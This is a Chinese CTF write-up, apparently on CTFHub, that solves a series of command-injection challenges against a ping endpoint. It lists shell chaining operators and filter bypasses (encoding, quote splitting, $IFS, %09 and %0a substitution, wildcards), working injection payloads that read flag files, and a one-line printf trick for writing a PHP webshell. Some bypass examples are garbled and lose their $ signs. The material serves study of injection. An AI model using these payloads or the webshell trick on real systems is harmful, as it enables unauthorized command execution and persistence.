这一篇讲命令注入
常用特殊字符:
cmd1|cmd2:无论cmd1是否执行成功,cmd2将被执行
cmd1&cmd2:无论cmd1是否执行成功,cmd2将被执行
cmd1;cmd2:无论cmd1是否执行成功,cmd2将被执行
cmd1||cmd2:仅在cmd1执行失败时才执行cmd2
cmd1&&cmd2:仅在cmd1执行成功后才执行cmd2
((cmd):echo)(whoami)或者$(touch test.sh;echo 'ls' >test.sh)
'cmd':用于执行特定命令,如'whoami'
>(cmd):<(ls)
<(cmd):>(ls)
命令注入-无过滤
源码就是一个ping命令直接拼接上ip的内容
所以构造一下
①127.0.0.1|ls
②127.0.0.1|cat 66301059911779.php
发现什么都没有,看一下源码发现原来flag被注释了
过滤cat
ls发现flag文件,但是cat命令被过滤,所以得想办法读flag文件的内容,发现我不会,记录一下
参考https://blog.csdn.net/szgyunyun/article/details/104970118
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
另:参考https://www.cnblogs.com/chalan630/p/12542239.html
拼接绕过:a=fl;b=ag;cat (a)b
编码绕过:(base64)echo MTIzCg==|base64 -d #123
(16进制)echo "313233"|xxd -r -p #123
(10进制)$(printf "154163") #ls
可以通过这样来写webshell,内容为 ${printf,"7477160150160401001451661411545044137120117123124133471434713551737776"} >> 1.php
反斜杠:ca flag
单引号或双引号绕过:ca''t flag或ca""t flag
({}执行代码:){phpinfo()};
选择任意一个使用,flag仍然在源码中查看
过滤空格
绕过方式(替换掉空格):
①全局变量:({IFS}或者)IFS(9,)IFS
②重定向符:<
③变量自定义:cmd=('x20flag_2413114655637.php'&&cat)cmd
④字符串处理:a=((id)&&b=){a:16:1}&&cat${b}flag_2413114655637.php
参考https://blog.csdn.net/weixin_39219503/article/details/103948357
⑤%20(space)、%09(tab)
过滤目录分隔符/
这题过滤了/,但是好像不需要用到
直接构造127.0.0.1;cd flag_is_here;cat flag_11504215555192.php
这题好像用| & &&都不行,不知道为什么
过滤运算符
把/ | &都给过滤了,漏了一个;
构造127.0.0.1;cat flag_325302658114852.php
综合过滤(组合拳)
可以看到过滤了/ | & ; (空格) cat flag ctfhub
这里我们先想一下操作
①127.0.0.1;ls
②127.0.0.1;cd flag_is_here;ls
③127.0.0.1;cd flag_is_here;cat flag_xxx.php
注意这一题命令注入点在url上,而不是框框里输入
;号不能用可以用%0a、%0d代替,不过这题好像只能用%0a
空格被过滤上面讲了如何绕过
flag被过滤可以fla''g、fla""g等,上面讲了
cat上面也讲了
构造:127.0.0.1%0acd%09fla""g_is_here%0atac%09fla""g_18066919615927.php
这里看到了一个有点奇特的payload,记一下
127.0.0.1%0acd%09%0atac%09
不明白为什么*可以替换掉所有 = =
找大佬问清楚了,这里是属于巧合了,*是匹配任意值,而这题刚好只有一个目录,目录下只有一个文件,所以才能够执行正确
同理可以把部分换成*也可以